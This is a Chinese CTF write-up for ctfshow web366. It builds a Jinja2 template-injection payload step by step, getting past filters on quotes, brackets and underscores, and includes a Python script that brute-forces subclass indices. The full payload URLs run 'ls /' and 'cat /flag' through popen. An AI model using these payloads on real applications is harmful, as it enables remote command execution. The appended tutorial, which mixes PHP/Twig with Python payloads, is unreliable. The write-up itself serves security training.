SSTI模板注入-中括号、args、下划线、单双引号被过滤绕过(ctfshow web入门366)

文章详细介绍了如何在SSTI(Server-SideTemplateInjection)漏洞中,通过小括号、attr方法、request.values参数等手段,绕过对单双引号、中括号、下划线的过滤,来获取类、基类、子类以及执行shell命令的方法,最终实现执行shell命令获取flag的目标。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

SSTI模板注入-中括号、args、下划线、单双引号被过滤绕过(ctfshow web入门366)

绕过原理

单双引号被过滤,意味着我们不能通过单双引号来获取基类和子类,也不能以字符串的方式传递我们执行的命令,这样的话我们可以使用小括号来获取基类和子类,使用request.values.参数 和 reqest.args.参数 通过传参的方式来传递执行的命令,如果args被过滤就是用request.values.参数 的方式。中括号被过滤,意味着我们不能通过子类的索引值来获取我们想要的子类以及不能通过方法名来获取我们想要的方法,这时我们可以通过使用__getitem__()方法来获取,该方法即可传递数值也可传递字符串。

下划线被过滤,这就意味着我们不能使用__class__、__base__、__globals__等等带有下划线的方法,这时我们可以使用attr(request.values.参数)的方法来获取,例如:().__class__ 与 ()|attr(“__class__”)是一样的效果,由于下划线被过滤,我们通过传参的方式来解决,即:()|attr(request.values.a)&a=__class__。

实例引入-ctfshow web入门366

1、判断是否存在SSTI模板注入漏洞

输出参数?name={{7*7}} 看页面是否回显出49,如果回显49即存在SSTI模板注入漏洞。
在这里插入图片描述
页面回显49,证明该站点存在SSTI模板注入漏洞。

2、获得内置类所对应的类

由于单双引号与中括号、args还有下线被过滤,我们使用小括号来获取类,使用|attr()来获取类名,使用request.values.参数 来传参。

http://499539f4-6b83-4186-b30f-6957b5cb2fea.challenge.ctf.show/?name={{()|attr(request.values.a)}}&a=__class__

在这里插入图片描述

3、获得object基类

http://499539f4-6b83-4186-b30f-6957b5cb2fea.challenge.ctf.show/?name={{()|attr(request.values.a)|attr(request.values.b)}}&a=__class__&b=__base__

在这里插入图片描述

4、获得所有子类

http://499539f4-6b83-4186-b30f-6957b5cb2fea.challenge.ctf.show/?name={{()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()}}&a=__class__&b=__base__&c=__subclasses__

在这里插入图片描述

5、获得含有可以执行shell命令方法的类

我们还是以获取包含popen()方法的类,即:os._wrap_close。
但是由于我们事先不知道该类含有popen()方法,所以我们还是写一个python脚本跑一下,使用requests模块循环请求页面,每次请求改变子类的索引值,并判断返回的源码中是否含有"popen",如果有直接中断循环,记录该索引值,该索引值所对应的类即是我们需要的类。

import requests

for num in range(500):
    url = "http://499539f4-6b83-4186-b30f-6957b5cb2fea.challenge.ctf.show/?name={{()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(" + str(num) + ")|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen"
    res = requests.get(url).text
    if "popen" in res:
        print(num)
        break

在这里插入图片描述
得到我们需要子类的索引值为132。

6、获得可以执行shell命令的方法

由于我们上步骤是以popen()方法为例的吗,那么我们获取的执行shell命令的方法也就是popen()方法。

http://499539f4-6b83-4186-b30f-6957b5cb2fea.challenge.ctf.show/?name={{()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen

在这里插入图片描述

7、执行shell命令获取flag

由于popen()返回的file对象,所以我们要得到shell执行的结果,我们还需要使用read()来读取才能获取shell执行的结果。

http://499539f4-6b83-4186-b30f-6957b5cb2fea.challenge.ctf.show/?name={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=ls /

在这里插入图片描述
发现根目录下存在flag,直接cat读取。

http://499539f4-6b83-4186-b30f-6957b5cb2fea.challenge.ctf.show/?name={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag

在这里插入图片描述
成功拿到flag。

### CTFShow Web 入门 SSTI 教程 #### 题目描述 在一个基于 PHP 的 Web 应用中,存在一个可以接受用户输入并渲染到网页上的功能。该功能使用了模板引擎来处理用户的输入数据。 #### 解题思路 在服务器端模板注入 (Server-Side Template Injection, SSTI) 攻击中,攻击者利用应用程序中的漏洞向模板引擎传递恶意代码,从而实现远程命令执行或其他危害行为。对于本道题目而言: - **确认使用的模板引擎** 如果应用采用的是 Twig 或其他支持复杂表达式的模板库,则可能存在 SSTI 漏洞的风险[^2]。 - **测试是否存在 SSTI 漏洞** 可以尝试提交一些特殊的字符串作为输入,观察其输出结果是否有异常变化。例如,发送 `{{7*7}}` 并期望看到计算的结果而不是原始字符本身被显示出来。 - **探索可利用的功能** 当发现确实能够影响模板解析过程之后,下一步就是要找出如何进一步控制这些操作。这可能涉及到调用内置函数、读取文件内容甚至是执行系统指令等动作。 针对此案例的具体解法如下所示: 假设目标站点有一个 URL 参数名为 `name` ,用于接收用户名字并在页面上展示欢迎信息。此时可以通过构造特定形式的数据包来进行试探性的攻击尝试: ```http GET /index.php?name={{7*'a'}} HTTP/1.1 Host: example.com ``` 如果返回的内容包含了七个连续的小写字母 'aaaaaaa' 而不是原样呈现 {{7*'a'}}, 则说明很可能存在 SSTI 缺陷。 为了验证这一点以及获取更多权限,还可以继续深入挖掘可用的方法。比如查看当前工作目录下的所有文件列表: ```http GET /index.php?name={{self._env.__init__.__globals__['os'].getcwd()}} HTTP/1.1 Host: example.com ``` 一旦成功触发上述语句并将路径反馈至前端界面,就意味着已经掌握了对服务器内部结构的部分了解,进而为进一步渗透提供了条件。 当然,在实际环境中应当遵循合法合规的原则开展安全研究活动,严禁非法入侵他人信息系统的行为发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你们de4月天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值